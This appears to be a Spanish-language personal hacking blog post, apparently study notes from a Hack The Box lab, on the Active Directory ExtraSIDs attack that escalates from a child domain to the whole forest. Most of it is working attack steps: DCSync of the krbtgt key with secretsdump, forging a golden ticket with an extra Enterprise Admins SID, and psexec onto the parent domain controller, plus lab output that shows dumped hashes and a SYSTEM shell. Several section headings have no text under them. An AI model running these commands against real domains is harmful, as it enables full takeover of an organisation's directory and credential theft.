Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

ExtraSids Attack - Mimikatz

Introducción

El ataque ExtraSIDs permite a un atacante escalar privilegios desde un dominio hijo comprometido hacia el dominio padre dentro del mismo Active Directory (AD) Forest. Este ataque aprovecha la falta de filtrado de SIDs (SID filtering) en las relaciones de confianza entre dominios dentro de un mismo bosque, permitiendo que un usuario autenticado en el dominio hijo, con un ticket Kerberos que incluye un SID adicional (extra SID) del grupo Enterprise Admins del dominio padre, sea tratado como administrador en el dominio padre y, por ende, en todo el bosque.

Explicación rápida

Estructura de un AD Forest

Creación del golden ticket con mimikatz

Obtener SID de enterprise admin

Mediante Linux

Conseguir el SID con impacket

Golden ticket con impacket

Automatizar este proceso con raiseChild de impacket

Ejemplo
┌─[htb-student@ea-attack01]─[~]
└──╼ $raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

Password:
[*] Raising child domain LOGISTICS.INLANEFREIGHT.LOCAL
[*] Forest FQDN is: INLANEFREIGHT.LOCAL
[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL
[*] INLANEFREIGHT.LOCAL Enterprise Admin SID is: S-1-5-21-3842939050-3880317879-2865463114-519
[*] Getting credentials for LOGISTICS.INLANEFREIGHT.LOCAL
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
[*] Getting credentials for INLANEFREIGHT.LOCAL
INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
INLANEFREIGHT.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
INLANEFREIGHT.LOCAL/administrator:aes256-cts-hmac-sha1-96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
[*] Opening PSEXEC shell at ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
[*] Requesting shares on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file KNAMkjZu.exe
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Creating service pxRD on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Starting service pxRD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Ejemplo 2

SameForestTrust simetrico

Requisitos

Para ejecutar el ataque ExtraSIDs, necesitas obtener los siguientes elementos:

  1. Clave AES256 o Hash NTLM del usuario krbtgt del dominio hijo
    • Cómo obtenerlo:
      • Usa impacket-secretsdump para realizar un DCSync:
        impacket-secretsdump -just-dc-user krbtgt <DOMINIO_HIJO>/<USUARIO>@<IP_DC_HIJO>
        
      • Extrae el archivo ntds.dit del controlador de dominio hijo y procesa con:
        impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
        
  2. SID del dominio hijo
    • Cómo obtenerlo:
      • Usa impacket-lookupsid:
        impacket-lookupsid <DOMINIO_HIJO>/<USUARIO>@<IP_DC_HIJO> | grep "Domain SID"
        
      • O extrae el SID desde ntds.dit.
  3. Nombre del usuario objetivo en el dominio hijo
    • Ejemplo: Administrator.
  4. FQDN del dominio hijo
    • Ejemplo: sub.poseidon.yzx.
  5. SID del grupo Enterprise Admins del dominio padre
    • Cómo obtenerlo:
      • Usa BloodHound o PowerShell en el dominio padre:
        Get-DomainGroup -Domain <DOMINIO_PADRE> -Identity "Enterprise Admins" | select objectsid
        
      • O con impacket-lookupsid:
        impacket-lookupsid <DOMINIO_HIJO>/<USUARIO>@<IP_DC_PADRE> | grep -B12 "Enterprise Admins"
        
  6. IP o nombre del controlador de dominio del dominio padre
    • Ejemplo: dc01.poseidon.yzx o 192.168.1.10.

Ejecución del Ataque con impacket-ticketer

Paso 1: Forjar el Golden Ticket

Usa impacket-ticketer para crear un ticket Kerberos en el dominio hijo que incluya un extra SID del dominio padre:

impacket-ticketer \
  -aesKey <CLAVE_AES256_KRBTGT> \
  -domain-sid <SID_DOMINIO_HIJO> \
  -domain <FQDN_DOMINIO_HIJO> \
  -user <NOMBRE_USUARIO> \
  -user-id <RID_USUARIO> \
  -groups <LISTA_GRUPOS> \
  -extra-sid <SID_ENTERPRISE_ADMINS> \
  -extra-pac \
  <NOMBRE_TICKET>.ccache

Parámetros Explicados:

Ejemplo Generalizado:

impacket-ticketer \
  -aesKey <CLAVE_AES256_KRBTGT> \
  -domain-sid S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx \
  -domain <DOMINIO_HIJO> \
  -user Administrator \
  -user-id 500 \
  -groups 512,513,518,519,520 \
  -extra-sid S-1-5-21-yyyyyyyyyy-yyyyyyyyyy-yyyyyyyyyy-519 \
  -extra-pac \
  ticket.ccache

Paso 2: Configurar el Ticket

Configura el ticket como la credencial Kerberos activa en tu entorno:

export KRB5CCNAME=$(pwd)/<NOMBRE_TICKET>.ccache

Paso 3: Acceder al Dominio Padre

Usa herramientas de Impacket como impacket-psexec para autenticarte en el controlador de dominio del dominio padre:

impacket-psexec -k -no-pass <DOMINIO_HIJO>/<NOMBRE_USUARIO>@<IP_DC_PADRE>